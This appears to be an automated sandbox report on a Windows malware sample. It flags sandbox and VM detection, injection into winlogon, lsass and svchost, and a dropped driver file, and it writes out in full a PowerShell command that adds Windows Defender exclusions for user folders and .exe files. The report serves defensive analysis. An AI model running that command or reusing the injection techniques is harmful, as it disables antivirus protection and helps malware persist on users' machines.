Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dllhost.exe

Code function: OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,

45_2_0000000140001860

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\dialer.exe

System information queried: FirmwareTableInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5546	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4291	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5600	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2055	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8309	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1297	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 4552
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 5447
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9939
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3224
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2813
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9873
Source: C:\Windows\System32\dllhost.exe	Window / User API: threadDelayed 612

Source: C:\ProgramData\Google\Chrome\updater.exe

Dropped PE file which has not been started: C:\Windows\Temp\xptjtnajcbas.sys

Jump to dropped file

Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_45-623
Source: C:\Windows\System32\dialer.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_26-197
Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegQueryValue,DecisionNodes,ExitProcess	graph_45-628

Source: C:\Windows\System32\dllhost.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_45-585

Source: C:\Windows\System32\conhost.exe	API coverage: 5.0 %
Source: C:\Windows\System32\lsass.exe	API coverage: 6.8 %
Source: C:\Windows\System32\dialer.exe	API coverage: 0.8 %
Source: C:\Windows\System32\conhost.exe	API coverage: 5.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2184	Thread sleep count: 5546 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2184	Thread sleep count: 4291 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5632	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 948	Thread sleep count: 5600 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4876	Thread sleep count: 2055 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5532	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6672	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5132	Thread sleep count: 8309 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5132	Thread sleep count: 1297 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3816	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 6816	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 5860	Thread sleep count: 4552 > 30
Source: C:\Windows\System32\winlogon.exe TID: 5860	Thread sleep time: -4552000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 5860	Thread sleep count: 5447 > 30
Source: C:\Windows\System32\winlogon.exe TID: 5860	Thread sleep time: -5447000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 6488	Thread sleep count: 9939 > 30
Source: C:\Windows\System32\lsass.exe TID: 6488	Thread sleep time: -9939000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5132	Thread sleep count: 3224 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2760	Thread sleep count: 2813 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2724	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2084	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1016	Thread sleep count: 241 > 30
Source: C:\Windows\System32\svchost.exe TID: 1016	Thread sleep time: -241000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 1428	Thread sleep count: 9873 > 30
Source: C:\Windows\System32\dwm.exe TID: 1428	Thread sleep time: -9873000s >= -30000s
Source: C:\Windows\System32\dllhost.exe TID: 2676	Thread sleep count: 612 > 30
Source: C:\Windows\System32\dllhost.exe TID: 2676	Thread sleep time: -61200s >= -30000s
Source: C:\Windows\System32\dllhost.exe TID: 5588	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5696	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 5696	Thread sleep time: -250000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2136	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 2136	Thread sleep time: -252000s >= -30000s

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\conhost.exe	Code function: 32_2_000001D29E8CE110 FindFirstFileExW,	32_2_000001D29E8CE110
Source: C:\Windows\System32\winlogon.exe	Code function: 50_2_000002D0165EE110 FindFirstFileExW,	50_2_000002D0165EE110
Source: C:\Windows\System32\lsass.exe	Code function: 64_2_000002D6F151E110 FindFirstFileExW,	64_2_000002D6F151E110
Source: C:\Windows\System32\conhost.exe	Code function: 68_2_00000146F6B0E110 FindFirstFileExW,	68_2_00000146F6B0E110
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_0000014E41FDE110 FindFirstFileExW,	69_2_0000014E41FDE110
Source: C:\Windows\System32\dwm.exe	Code function: 70_2_000001D15B08E110 FindFirstFileExW,	70_2_000001D15B08E110

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\dllhost.exe	API call chain: ExitProcess graph end node			graph_45-624
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Code function: 32_2_000001D29E8C81C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

32_2_000001D29E8C81C0

Source: C:\Windows\System32\dialer.exe

Code function: 66_2_0000000140832D30 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

66_2_0000000140832D30

Source: C:\Windows\System32\dialer.exe

Code function: 26_2_0000000140001C9C GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,StrStrIW,StrStrIW,StrNCatW,StrCatW,StrCatW,StrCatW,StrCatW,StrNCatW,StrCatW,StrCatW,StrCatW,StrStrIW,StrCatW,StrCpyW,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

26_2_0000000140001C9C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug

Source: C:\Windows\System32\conhost.exe	Code function: 32_2_000001D29E8C81C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000001D29E8C81C0
Source: C:\Windows\System32\conhost.exe	Code function: 32_2_000001D29E8CD6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000001D29E8CD6D4
Source: C:\Windows\System32\conhost.exe	Code function: 32_2_000001D29E8C8528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	32_2_000001D29E8C8528
Source: C:\Windows\System32\winlogon.exe	Code function: 50_2_000002D0165ED6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	50_2_000002D0165ED6D4
Source: C:\Windows\System32\winlogon.exe	Code function: 50_2_000002D0165E8528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	50_2_000002D0165E8528
Source: C:\Windows\System32\winlogon.exe	Code function: 50_2_000002D0165E81C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	50_2_000002D0165E81C0
Source: C:\Windows\System32\lsass.exe	Code function: 64_2_000002D6F1518528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	64_2_000002D6F1518528
Source: C:\Windows\System32\lsass.exe	Code function: 64_2_000002D6F15181C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	64_2_000002D6F15181C0
Source: C:\Windows\System32\lsass.exe	Code function: 64_2_000002D6F151D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	64_2_000002D6F151D6D4
Source: C:\Windows\System32\dialer.exe	Code function: 65_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	65_2_0000000140001160
Source: C:\Windows\System32\conhost.exe	Code function: 68_2_00000146F6B0D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	68_2_00000146F6B0D6D4
Source: C:\Windows\System32\conhost.exe	Code function: 68_2_00000146F6B08528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	68_2_00000146F6B08528
Source: C:\Windows\System32\conhost.exe	Code function: 68_2_00000146F6B081C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	68_2_00000146F6B081C0
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_0000014E41FD8528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	69_2_0000014E41FD8528
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_0000014E41FDD6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	69_2_0000014E41FDD6D4
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_0000014E41FD81C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	69_2_0000014E41FD81C0
Source: C:\Windows\System32\dwm.exe	Code function: 70_2_000001D15B08D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	70_2_000001D15B08D6D4
Source: C:\Windows\System32\dwm.exe	Code function: 70_2_000001D15B0881C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	70_2_000001D15B0881C0
Source: C:\Windows\System32\dwm.exe	Code function: 70_2_000001D15B088528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	70_2_000001D15B088528

HIPS / PFW / Operating System Protection Evasion

.NET source code contains process injector

Source: 0.3.egFMhHSlmf.exe.224120834b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 26.2.dialer.exe.1400050b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 29.2.powershell.exe.217e6d49610.10.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 29.2.powershell.exe.217ef310000.16.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 37.3.updater.exe.17ade7634b0.0.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 63.2.dialer.exe.1400050b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 67.2.powershell.exe.28199a8ab70.15.raw.unpack, RunPE.cs	.Net Code: Run contains injection code

.NET source code references suspicious native API functions

Source: 0.3.egFMhHSlmf.exe.224120834b0.1.raw.unpack, Unhook.cs	Reference to suspicious API methods: VirtualProtect((IntPtr)((long)moduleHandle + num5), (IntPtr)num6, 64u, out var oldProtect)
Source: 0.3.egFMhHSlmf.exe.224120834b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: OpenProcess(128, inheritHandle: false, parentProcessId)
Source: 0.3.egFMhHSlmf.exe.224120834b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtAllocateVirtualMemory(process, ref address, IntPtr.Zero, ref size2, 12288u, 64u)
Source: 0.3.egFMhHSlmf.exe.224120834b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtWriteVirtualMemory(process, address, payload, num3, IntPtr.Zero)
Source: 0.3.egFMhHSlmf.exe.224120834b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtSetContextThread(thread, intPtr5)

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dllhost.exe

Code function: 45_2_0000000140002434 CreateProcessW,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,Wow64GetThreadContext,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

45_2_0000000140002434

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 16582AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\lsass.exe EIP: F14E2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 41FA2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 16582AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F14E2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 41FA2AC0
